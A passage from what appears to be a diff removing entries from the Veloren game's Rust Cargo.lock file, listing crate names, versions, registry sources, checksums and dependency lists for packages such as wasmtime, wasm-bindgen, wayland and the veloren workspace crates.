-checksum = "a183cf7feeba97b4dd1c0d46788634f6221d87fa961b305bed08c851829efcc0"
-dependencies = [
- "getrandom 0.2.12",
- "serde",
-]
-
-[[package]]
-name = "valuable"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d"
-
-[[package]]
-name = "vcpkg"
-version = "0.2.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426"
-
-[[package]]
-name = "vec_map"
-version = "0.8.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f1bddf1187be692e79c5ffeab891132dfb0f236ed36a43c7ed39f1165ee20191"
-
-[[package]]
-name = "vek"
-version = "0.14.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "04d6626f32b226e2c5b35f23ea87eaf683f3d93eaeb16b4084d0683479616f0f"
-dependencies = [
- "approx 0.4.0",
- "num-integer",
- "num-traits",
- "rustc_version 0.2.3",
- "serde",
- "static_assertions",
-]
-
-[[package]]
-name = "vek"
-version = "0.17.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cb40015035f83ba23d647e647f8be060d0f6f99b7c7687989fbca3e3d65e7234"
-dependencies = [
- "approx 0.5.1",
- "num-integer",
- "num-traits",
- "rustc_version 0.4.0",
- "serde",
-]
-
-[[package]]
-name = "veloren-client"
-version = "0.16.0"
-dependencies = [
- "async-channel",
- "authc",
- "byteorder",
- "clap",
- "hashbrown 0.13.2",
- "hickory-resolver",
- "image",
- "num 0.4.1",
- "quinn",
- "rayon",
- "ron",
- "rustls",
- "rustyline",
- "serde",
- "specs",
- "tokio",
- "tracing",
- "vek 0.17.0",
- "veloren-client-i18n",
- "veloren-common",
- "veloren-common-base",
- "veloren-common-frontend",
- "veloren-common-net",
- "veloren-common-state",
- "veloren-common-systems",
- "veloren-network",
- "veloren-voxygen-i18n-helpers",
-]
-
-[[package]]
-name = "veloren-client-i18n"
-version = "0.13.0"
-dependencies = [
- "clap",
- "deunicode",
- "fluent",
- "fluent-bundle",
- "fluent-syntax",
- "hashbrown 0.13.2",
- "intl-memoizer",
- "serde",
- "tracing",
- "unic-langid",
- "veloren-common-assets",
- "veloren-common-i18n",
-]
-
-[[package]]
-name = "veloren-common"
-version = "0.10.0"
-dependencies = [
- "approx 0.5.1",
- "bitflags 2.5.0",
- "chrono",
- "chrono-tz",
- "clap",
- "criterion",
- "crossbeam-utils 0.8.19",
- "csv",
- "dot_vox",
- "enum-map",
- "fxhash",
- "hashbrown 0.13.2",
- "indexmap",
- "itertools 0.10.5",
- "kiddo",
- "lazy_static",
- "num-derive 0.4.2",
- "num-traits",
- "ordered-float 3.9.2",
- "petgraph 0.6.4",
- "rand 0.8.5",
- "rand_chacha 0.3.1",
- "rayon",
- "ron",
- "roots",
- "serde",
- "serde_json",
- "serde_repr",
- "sha2",
- "slab",
- "slotmap",
- "specs",
- "spin_sleep",
- "strum 0.24.1",
- "tracing",
- "tracing-subscriber",
- "uuid",
- "vek 0.17.0",
- "veloren-common-assets",
- "veloren-common-base",
- "veloren-common-i18n",
-]
-
-[[package]]
-name = "veloren-common-assets"
-version = "0.10.0"
-dependencies = [
- "assets_manager",
- "dot_vox",
- "hashbrown 0.13.2",
- "image",
- "lazy_static",
- "ron",
- "serde",
- "tracing",
- "walkdir",
- "wavefront",
-]
-
-[[package]]
-name = "veloren-common-base"
-version = "0.10.0"
-dependencies = [
- "directories-next",
- "profiling",
- "tracing",
-]
-
-[[package]]
-name = "veloren-common-dynlib"
-version = "0.1.0"
-dependencies = [
- "find_folder",
- "libloading 0.8.3",
- "notify",
- "tracing",
-]
-
-[[package]]
-name = "veloren-common-ecs"
-version = "0.10.0"
-dependencies = [
- "float-cmp",
- "specs",
- "tracing",
- "veloren-common-base",
-]
-
-[[package]]
-name = "veloren-common-frontend"
-version = "0.10.0"
-dependencies = [
- "termcolor",
- "tracing",
- "tracing-appender",
- "tracing-subscriber",
- "tracing-tracy",
- "veloren-common-base",
-]
-
-[[package]]
-name = "veloren-common-i18n"
-version = "0.1.0"
-dependencies = [
- "hashbrown 0.13.2",
- "rand 0.8.5",
- "serde",
-]
-
-[[package]]
-name = "veloren-common-net"
-version = "0.10.0"
-dependencies = [
- "bincode",
- "flate2",
- "hashbrown 0.13.2",
- "image",
- "num-traits",
- "serde",
- "specs",
- "sum_type",
- "tracing",
- "vek 0.17.0",
- "veloren-common",
-]
-
-[[package]]
-name = "veloren-common-state"
-version = "0.10.0"
-dependencies = [
- "async-trait",
- "bincode",
- "bytes",
- "futures",
- "hashbrown 0.13.2",
- "hex",
- "num_cpus",
- "rayon",
- "scopeguard",
- "serde",
- "sha2",
- "specs",
- "tar",
- "timer-queue",
- "toml 0.8.12",
- "tracing",
- "vek 0.17.0",
- "veloren-common",
- "veloren-common-assets",
- "veloren-common-base",
- "veloren-common-ecs",
- "veloren-common-net",
- "wasmtime",
- "wasmtime-wasi",
-]
-
-[[package]]
-name = "veloren-common-systems"
-version = "0.10.0"
-dependencies = [
- "itertools 0.10.5",
- "ordered-float 3.9.2",
- "rand 0.8.5",
- "rayon",
- "specs",
- "tracing",
- "vek 0.17.0",
- "veloren-common",
- "veloren-common-base",
- "veloren-common-ecs",
- "veloren-common-net",
- "veloren-common-state",
-]
-
-[[package]]
-name = "veloren-network"
-version = "0.3.0"
-dependencies = [
- "async-channel",
- "async-trait",
- "bincode",
- "bytes",
- "clap",
- "criterion",
- "crossbeam-channel",
- "futures-util",
- "hashbrown 0.13.2",
- "lazy_static",
- "lz-fear",
- "prometheus",
- "prometheus-hyper",
- "quinn",
- "rand 0.8.5",
- "rcgen",
- "rustls",
- "serde",
- "shellexpand 3.1.0",
- "socket2",
- "tokio",
- "tokio-stream",
- "tracing",
- "tracing-subscriber",
- "veloren-network-protocol",
-]
-
-[[package]]
-name = "veloren-network-protocol"
-version = "0.6.1"
-dependencies = [
- "async-channel",
- "async-trait",
- "bitflags 2.5.0",
- "bytes",
- "criterion",
- "hashbrown 0.13.2",
- "prometheus",
- "rand 0.8.5",
- "tokio",
- "tracing",
-]
-
-[[package]]
-name = "veloren-rtsim"
-version = "0.10.0"
-dependencies = [
- "anymap2",
- "atomic_refcell",
- "enum-map",
- "fxhash",
- "hashbrown 0.13.2",
- "itertools 0.10.5",
- "rand 0.8.5",
- "rand_chacha 0.3.1",
- "rayon",
- "rmp-serde",
- "serde",
- "slotmap",
- "tracing",
- "vek 0.17.0",
- "veloren-common",
- "veloren-world",
-]
-
-[[package]]
-name = "veloren-server"
-version = "0.16.0"
-dependencies = [
- "atomicwrites",
- "authc",
- "bincode",
- "censor",
- "chrono",
- "chrono-tz",
- "crossbeam-channel",
- "drop_guard",
- "enum-map",
- "futures-util",
- "hashbrown 0.13.2",
- "humantime",
- "itertools 0.10.5",
- "lazy_static",
- "noise",
- "num_cpus",
- "parking_lot 0.12.1",
- "portpicker",
- "prometheus",
- "quinn",
- "rand 0.8.5",
- "rayon",
- "refinery",
- "ron",
- "rusqlite",
- "rustls",
- "rustls-pemfile",
- "schnellru",
- "serde",
- "serde_json",
- "specs",
- "strum 0.24.1",
- "tokio",
- "tracing",
- "vek 0.17.0",
- "veloren-common",
- "veloren-common-base",
- "veloren-common-ecs",
- "veloren-common-net",
- "veloren-common-state",
- "veloren-common-systems",
- "veloren-network",
- "veloren-rtsim",
- "veloren-server-agent",
- "veloren-world",
-]
-
-[[package]]
-name = "veloren-server-agent"
-version = "0.1.0"
-dependencies = [
- "itertools 0.10.5",
- "lazy_static",
- "rand 0.8.5",
- "specs",
- "vek 0.17.0",
- "veloren-common",
- "veloren-common-dynlib",
- "veloren-rtsim",
-]
-
-[[package]]
-name = "veloren-server-cli"
-version = "0.16.0"
-dependencies = [
- "axum",
- "cansi",
- "chrono",
- "clap",
- "crossterm",
- "hyper",
- "lazy_static",
- "mimalloc",
- "num_cpus",
- "prometheus",
- "rand 0.8.5",
- "ratatui",
- "ron",
- "serde",
- "shell-words",
- "signal-hook",
- "specs",
- "tokio",
- "tracing",
- "veloren-common",
- "veloren-common-base",
- "veloren-common-frontend",
- "veloren-common-net",
- "veloren-server",
- "veloren-server-agent",
- "veloren-world",
-]
-
-[[package]]
-name = "veloren-voxygen"
-version = "0.16.0"
-dependencies = [
- "assets_manager",
- "backtrace",
- "bitflags 2.5.0",
- "bytemuck",
- "chrono",
- "chumsky",
- "clap",
- "cmake",
- "conrod_core",
- "conrod_winit",
- "criterion",
- "crossbeam-channel",
- "crossbeam-utils 0.8.19",
- "directories-next",
- "discord-sdk",
- "dispatch 0.1.4",
- "dot_vox",
- "egui",
- "egui_wgpu_backend",
- "egui_winit_platform",
- "enum-map",
- "euc",
- "gilrs",
- "glyph_brush",
- "guillotiere",
- "hashbrown 0.13.2",
- "iced_native",
- "iced_winit",
- "image",
- "inline_tweak",
- "itertools 0.10.5",
- "keyboard-keynames",
- "lazy_static",
- "levenshtein",
- "mimalloc",
- "mumble-link",
- "native-dialog",
- "num 0.4.1",
- "num_cpus",
- "ordered-float 3.9.2",
- "rand 0.8.5",
- "rand_chacha 0.3.1",
- "rayon",
- "rodio",
- "ron",
- "serde",
- "sha2",
- "shaderc",
- "slab",
- "specs",
- "strum 0.24.1",
- "tokio",
- "tracing",
- "treeculler",
- "vek 0.17.0",
- "veloren-client",
- "veloren-client-i18n",
- "veloren-common",
- "veloren-common-assets",
- "veloren-common-base",
- "veloren-common-ecs",
- "veloren-common-frontend",
- "veloren-common-net",
- "veloren-common-state",
- "veloren-common-systems",
- "veloren-server",
- "veloren-voxygen-anim",
- "veloren-voxygen-egui",
- "veloren-voxygen-i18n-helpers",
- "veloren-world",
- "wgpu",
- "wgpu-profiler",
- "winit",
- "winres",
-]
-
-[[package]]
-name = "veloren-voxygen-anim"
-version = "0.10.0"
-dependencies = [
- "bytemuck",
- "lazy_static",
- "vek 0.17.0",
- "veloren-common",
- "veloren-common-dynlib",
-]
-
-[[package]]
-name = "veloren-voxygen-egui"
-version = "0.9.0"
-dependencies = [
- "egui",
- "egui_plot",
- "egui_winit_platform",
- "lazy_static",
- "veloren-client",
- "veloren-common",
- "veloren-common-dynlib",
-]
-
-[[package]]
-name = "veloren-voxygen-i18n-helpers"
-version = "0.10.0"
-dependencies = [
- "tracing",
- "veloren-client-i18n",
- "veloren-common",
- "veloren-common-net",
-]
-
-[[package]]
-name = "veloren-world"
-version = "0.10.0"
-dependencies = [
- "arr_macro",
- "bincode",
- "bitvec",
- "clap",
- "criterion",
- "csv",
- "deflate",
- "enum-map",
- "enumset",
- "fallible-iterator",
- "flate2",
- "fxhash",
- "hashbrown 0.13.2",
- "image",
- "indicatif",
- "itertools 0.10.5",
- "kiddo",
- "lazy_static",
- "lz-fear",
- "minifb",
- "noise",
- "num 0.4.1",
- "num-traits",
- "ordered-float 3.9.2",
- "rand 0.8.5",
- "rand_chacha 0.3.1",
- "rayon",
- "ron",
- "rstar",
- "rusqlite",
- "serde",
- "signal-hook",
- "strum 0.24.1",
- "svg_fmt",
- "tracing",
- "tracing-subscriber",
- "vek 0.17.0",
- "veloren-common",
- "veloren-common-base",
- "veloren-common-dynlib",
- "veloren-common-frontend",
- "veloren-common-net",
-]
-
-[[package]]
-name = "version-compare"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "579a42fc0b8e0c63b76519a339be31bed574929511fa53c1a3acae26eb258f29"
-
-[[package]]
-name = "version_check"
-version = "0.9.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
-
-[[package]]
-name = "walkdir"
-version = "2.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b"
-dependencies = [
- "same-file",
- "winapi-util",
-]
-
-[[package]]
-name = "want"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e"
-dependencies = [
- "try-lock",
-]
-
-[[package]]
-name = "wasi"
-version = "0.9.0+wasi-snapshot-preview1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519"
-
-[[package]]
-name = "wasi"
-version = "0.11.0+wasi-snapshot-preview1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
-
-[[package]]
-name = "wasi-cap-std-sync"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a518b394ec5808ad2221646898eb1564f0db47a8f6d6dcf95059f5089d6d8f28"
-dependencies = [
- "anyhow",
- "async-trait",
- "cap-fs-ext",
- "cap-rand",
- "cap-std",
- "cap-time-ext",
- "fs-set-times",
- "io-extras",
- "io-lifetimes",
- "once_cell",
- "rustix",
- "system-interface",
- "tracing",
- "wasi-common",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "wasi-common"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8fec11da24eed0ca98c3e071cf9186051b51b6436db21a7613498a9191d6f35a"
-dependencies = [
- "anyhow",
- "bitflags 2.5.0",
- "cap-rand",
- "cap-std",
- "io-extras",
- "log",
- "rustix",
- "thiserror",
- "tracing",
- "wasmtime",
- "wiggle",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "wasm-bindgen"
-version = "0.2.92"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4be2531df63900aeb2bca0daaaddec08491ee64ceecbee5076636a3b026795a8"
-dependencies = [
- "cfg-if 1.0.0",
- "wasm-bindgen-macro",
-]
-
-[[package]]
-name = "wasm-bindgen-backend"
-version = "0.2.92"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "614d787b966d3989fa7bb98a654e369c762374fd3213d212cfc0251257e747da"
-dependencies = [
- "bumpalo",
- "log",
- "once_cell",
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
- "wasm-bindgen-shared",
-]
-
-[[package]]
-name = "wasm-bindgen-futures"
-version = "0.4.42"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "76bc14366121efc8dbb487ab05bcc9d346b3b5ec0eaa76e46594cabbe51762c0"
-dependencies = [
- "cfg-if 1.0.0",
- "js-sys",
- "wasm-bindgen",
- "web-sys",
-]
-
-[[package]]
-name = "wasm-bindgen-macro"
-version = "0.2.92"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a1f8823de937b71b9460c0c34e25f3da88250760bec0ebac694b49997550d726"
-dependencies = [
- "quote 1.0.35",
- "wasm-bindgen-macro-support",
-]
-
-[[package]]
-name = "wasm-bindgen-macro-support"
-version = "0.2.92"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e94f17b526d0a461a191c78ea52bbce64071ed5c04c9ffe424dcb38f74171bb7"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
- "wasm-bindgen-backend",
- "wasm-bindgen-shared",
-]
-
-[[package]]
-name = "wasm-bindgen-shared"
-version = "0.2.92"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "af190c94f2773fdb3729c55b007a722abb5384da03bc0986df4c289bf5567e96"
-
-[[package]]
-name = "wasm-encoder"
-version = "0.38.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0ad2b51884de9c7f4fe2fd1043fccb8dcad4b1e29558146ee57a144d15779f3f"
-dependencies = [
- "leb128",
-]
-
-[[package]]
-name = "wasm-encoder"
-version = "0.201.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b9c7d2731df60006819b013f64ccc2019691deccf6e11a1804bc850cd6748f1a"
-dependencies = [
- "leb128",
-]
-
-[[package]]
-name = "wasmparser"
-version = "0.118.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "77f1154f1ab868e2a01d9834a805faca7bf8b50d041b4ca714d005d0dab1c50c"
-dependencies = [
- "indexmap",
- "semver 1.0.22",
-]
-
-[[package]]
-name = "wasmparser"
-version = "0.121.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9dbe55c8f9d0dbd25d9447a5a889ff90c0cc3feaa7395310d3d826b2c703eaab"
-dependencies = [
- "bitflags 2.5.0",
- "indexmap",
- "semver 1.0.22",
-]
-
-[[package]]
-name = "wasmprinter"
-version = "0.2.80"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "60e73986a6b7fdfedb7c5bf9e7eb71135486507c8fbc4c0c42cffcb6532988b7"
-dependencies = [
- "anyhow",
- "wasmparser 0.121.2",
-]
-
-[[package]]
-name = "wasmtime"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0d9aebf4be5afc2b9d3b8aff8ce5a107440ae3174090a8720a31538e88464156"
-dependencies = [
- "anyhow",
- "async-trait",
- "bincode",
- "bumpalo",
- "cfg-if 1.0.0",
- "encoding_rs",
- "fxprof-processed-profile",
- "indexmap",
- "libc",
- "log",
- "object",
- "once_cell",
- "paste",
- "rayon",
- "serde",
- "serde_derive",
- "serde_json",
- "target-lexicon",
- "wasm-encoder 0.38.1",
- "wasmparser 0.118.2",
- "wasmtime-cache",
- "wasmtime-component-macro",
- "wasmtime-component-util",
- "wasmtime-cranelift",
- "wasmtime-environ",
- "wasmtime-fiber",
- "wasmtime-jit",
- "wasmtime-runtime",
- "wasmtime-winch",
- "wat",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "wasmtime-asm-macros"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d3ed1bdfec9cca409d6562fe51abc75440c85fde2dc4c5b5ad65bc0405f31475"
-dependencies = [
- "cfg-if 1.0.0",
-]
-
-[[package]]
-name = "wasmtime-cache"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8222c4317b8bc3d8566b0e605fcf9c56d14947d86fb18e83128badd5cb90f237"
-dependencies = [
- "anyhow",
- "base64",
- "bincode",
- "directories-next",
- "log",
- "rustix",
- "serde",
- "serde_derive",
- "sha2",
- "toml 0.5.11",
- "windows-sys 0.52.0",
- "zstd",
-]
-
-[[package]]
-name = "wasmtime-component-macro"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8d185b5a280ec07edaaf8e353e83a3c7f99381ada711a2b35173e0961d32c1b6"
-dependencies = [
- "anyhow",
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
- "wasmtime-component-util",
- "wasmtime-wit-bindgen",
- "wit-parser",
-]
-
-[[package]]
-name = "wasmtime-component-util"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0981617835bf3e8c3f29762faedd7ade0ca0e796b51e3355a3861f0a78b5688e"
-
-[[package]]
-name = "wasmtime-cranelift"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e1f2e04e2a08c1f73fc36a8a6d0da38fbe3ff396e42c47826435239a26bf187a"
-dependencies = [
- "anyhow",
- "cfg-if 1.0.0",
- "cranelift-codegen",
- "cranelift-control",
- "cranelift-entity",
- "cranelift-frontend",
- "cranelift-native",
- "cranelift-wasm",
- "gimli",
- "log",
- "object",
- "target-lexicon",
- "thiserror",
- "wasmparser 0.118.2",
- "wasmtime-cranelift-shared",
- "wasmtime-environ",
- "wasmtime-versioned-export-macros",
-]
-
-[[package]]
-name = "wasmtime-cranelift-shared"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a1e3cef89d8ed4cdf08618c303afc512305399fbfb23810a681a5a007a65feba"
-dependencies = [
- "anyhow",
- "cranelift-codegen",
- "cranelift-control",
- "cranelift-native",
- "gimli",
- "object",
- "target-lexicon",
- "wasmtime-environ",
-]
-
-[[package]]
-name = "wasmtime-environ"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "099836c3583b85d16e8d1801fe793fa017e9256c5d08bd032cdab0754425be64"
-dependencies = [
- "anyhow",
- "cranelift-entity",
- "gimli",
- "indexmap",
- "log",
- "object",
- "serde",
- "serde_derive",
- "target-lexicon",
- "thiserror",
- "wasm-encoder 0.38.1",
- "wasmparser 0.118.2",
- "wasmprinter",
- "wasmtime-component-util",
- "wasmtime-types",
-]
-
-[[package]]
-name = "wasmtime-fiber"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e19865170650ca6cdb3b1924e42e628d29d03a1766e6de71f57d879b108ee46a"
-dependencies = [
- "anyhow",
- "cc",
- "cfg-if 1.0.0",
- "rustix",
- "wasmtime-asm-macros",
- "wasmtime-versioned-export-macros",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "wasmtime-jit"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cdae2c6da571b051c3c1520c9c4206a49939e855cb64c4119ab06ff08a3fc460"
-dependencies = [
- "addr2line",
- "anyhow",
- "bincode",
- "cfg-if 1.0.0",
- "cpp_demangle",
- "gimli",
- "ittapi",
- "log",
- "object",
- "rustc-demangle",
- "rustix",
- "serde",
- "serde_derive",
- "target-lexicon",
- "wasmtime-environ",
- "wasmtime-jit-debug",
- "wasmtime-jit-icache-coherence",
- "wasmtime-runtime",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "wasmtime-jit-debug"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "793787308417b7ad72cfa22e54d97324d1d9810c2ecf47b8fd8263d5b122e30c"
-dependencies = [
- "object",
- "once_cell",
- "rustix",
- "wasmtime-versioned-export-macros",
-]
-
-[[package]]
-name = "wasmtime-jit-icache-coherence"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c6d01b771888f8cc32fc491247095715c6971d70903f9a82803d707836998815"
-dependencies = [
- "cfg-if 1.0.0",
- "libc",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "wasmtime-runtime"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b1f0f306436812a253a934444bd25230eaf33a007218a6fe92f67d3646f8dd19"
-dependencies = [
- "anyhow",
- "cc",
- "cfg-if 1.0.0",
- "encoding_rs",
- "indexmap",
- "libc",
- "log",
- "mach",
- "memfd",
- "memoffset 0.9.0",
- "paste",
- "psm",
- "rustix",
- "sptr",
- "wasm-encoder 0.38.1",
- "wasmtime-asm-macros",
- "wasmtime-environ",
- "wasmtime-fiber",
- "wasmtime-jit-debug",
- "wasmtime-versioned-export-macros",
- "wasmtime-wmemcheck",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "wasmtime-types"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "158b87374f29ff040e865537674d610d970ccff28383853d1dc09b439eee7a87"
-dependencies = [
- "cranelift-entity",
- "serde",
- "serde_derive",
- "thiserror",
- "wasmparser 0.118.2",
-]
-
-[[package]]
-name = "wasmtime-versioned-export-macros"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e78ba3989894471c172329d42d1fc03edf2efe883fcc05a5d42f7bd5030de0ff"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "wasmtime-wasi"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e666a7340688aa3a7ee2d4ceb4fee4c175e331ecaeb5ac5b4d45231af718cfc2"
-dependencies = [
- "anyhow",
- "async-trait",
- "bitflags 2.5.0",
- "bytes",
- "cap-fs-ext",
- "cap-net-ext",
- "cap-rand",
- "cap-std",
- "cap-time-ext",
- "fs-set-times",
- "futures",
- "io-extras",
- "io-lifetimes",
- "libc",
- "log",
- "once_cell",
- "rustix",
- "system-interface",
- "thiserror",
- "tokio",
- "tracing",
- "url",
- "wasi-cap-std-sync",
- "wasi-common",
- "wasmtime",
- "wiggle",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "wasmtime-winch"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "131924cb850fd2c96e87868e101490f738e607fe0eba5ec8dc7c3b43115d8223"
-dependencies = [
- "anyhow",
- "cranelift-codegen",
- "gimli",
- "object",
- "target-lexicon",
- "wasmparser 0.118.2",
- "wasmtime-cranelift-shared",
- "wasmtime-environ",
- "winch-codegen",
-]
-
-[[package]]
-name = "wasmtime-wit-bindgen"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "81b149b61bd1402bcd5d456c616302812f8bebd65c56f720cefd86ab6cf5c8d8"
-dependencies = [
- "anyhow",
- "heck 0.4.1",
- "indexmap",
- "wit-parser",
-]
-
-[[package]]
-name = "wasmtime-wmemcheck"
-version = "17.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e9b9a897e713f3d78ac66c751e4d34ec3a1cd100b85083a6dcf054940accde05"
-
-[[package]]
-name = "wast"
-version = "35.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2ef140f1b49946586078353a453a1d28ba90adfc54dde75710bc1931de204d68"
-dependencies = [
- "leb128",
-]
-
-[[package]]
-name = "wast"
-version = "201.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1ef6e1ef34d7da3e2b374fd2b1a9c0227aff6cad596e1b24df9b58d0f6222faa"
-dependencies = [
- "bumpalo",
- "leb128",
- "memchr",
- "unicode-width",
- "wasm-encoder 0.201.0",
-]
-
-[[package]]
-name = "wat"
-version = "1.201.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "453d5b37a45b98dee4f4cb68015fc73634d7883bbef1c65e6e9c78d454cf3f32"
-dependencies = [
- "wast 201.0.0",
-]
-
-[[package]]
-name = "wavefront"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0162190f32ea78b07b7bc02b57a1c2a7c0874bc3da34f36eba41c86c4b03c4fb"
-dependencies = [
- "hashbrown 0.9.1",
-]
-
-[[package]]
-name = "wayland-client"
-version = "0.29.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3f3b068c05a039c9f755f881dc50f01732214f5685e379829759088967c46715"
-dependencies = [
- "bitflags 1.3.2",
- "downcast-rs",
- "libc",
- "nix 0.24.3",
- "scoped-tls",
- "wayland-commons",
- "wayland-scanner",
- "wayland-sys",
-]
-
-[[package]]
-name = "wayland-commons"
-version = "0.29.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8691f134d584a33a6606d9d717b95c4fa20065605f798a3f350d78dced02a902"
-dependencies = [
- "nix 0.24.3",
- "once_cell",
- "smallvec",
- "wayland-sys",
-]
-
-[[package]]
-name = "wayland-cursor"
-version = "0.29.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6865c6b66f13d6257bef1cd40cbfe8ef2f150fb8ebbdb1e8e873455931377661"
-dependencies = [
- "nix 0.24.3",
- "wayland-client",
- "xcursor",
-]
-
-[[package]]
-name = "wayland-protocols"
-version = "0.29.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b950621f9354b322ee817a23474e479b34be96c2e909c14f7bc0100e9a970bc6"
-dependencies = [
- "bitflags 1.3.2",
- "wayland-client",
- "wayland-commons",
- "wayland-scanner",
-]
-
-[[package]]
-name = "wayland-scanner"
-version = "0.29.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f4303d8fa22ab852f789e75a967f0a2cdc430a607751c0499bada3e451cbd53"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "xml-rs",
-]
-
-[[package]]
-name = "wayland-sys"
-version = "0.29.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "be12ce1a3c39ec7dba25594b97b42cb3195d54953ddb9d3d95a7c3902bc6e9d4"
-dependencies = [
- "dlib",
- "lazy_static",
- "pkg-config",
-]
-
-[[package]]
-name = "web-sys"
-version = "0.3.69"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "77afa9a11836342370f4817622a2f0f418b134426d91a82dfb48f532d2ec13ef"
-dependencies = [
- "js-sys",
- "wasm-bindgen",
-]
-
-[[package]]
-name = "wfd"
-version = "0.1.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e713040b67aae5bf1a0ae3e1ebba8cc29ab2b90da9aa1bff6e09031a8a41d7a8"
-dependencies = [
- "libc",
- "winapi",
-]
-
-[[package]]
-name = "wgpu"
-version = "0.18.0"
-source = "git+https://github.com/Imberflur/wgpu.git?tag=0.18-with-fixes-for-veloren-v1#df527ef82e2eba827eda9278caa583506a06aa87"
-dependencies = [
- "arrayvec",
- "cfg-if 1.0.0",
- "flume",
- "js-sys",
- "log",
- "naga",
- "parking_lot 0.12.1",
- "profiling",
- "raw-window-handle 0.5.2",
- "serde",
- "smallvec",
- "static_assertions",
- "wasm-bindgen",
- "wasm-bindgen-futures",
- "web-sys",
- "wgpu-core",
- "wgpu-hal",
- "wgpu-types",
-]
-
-[[package]]
-name = "wgpu-core"
-version = "0.18.1"
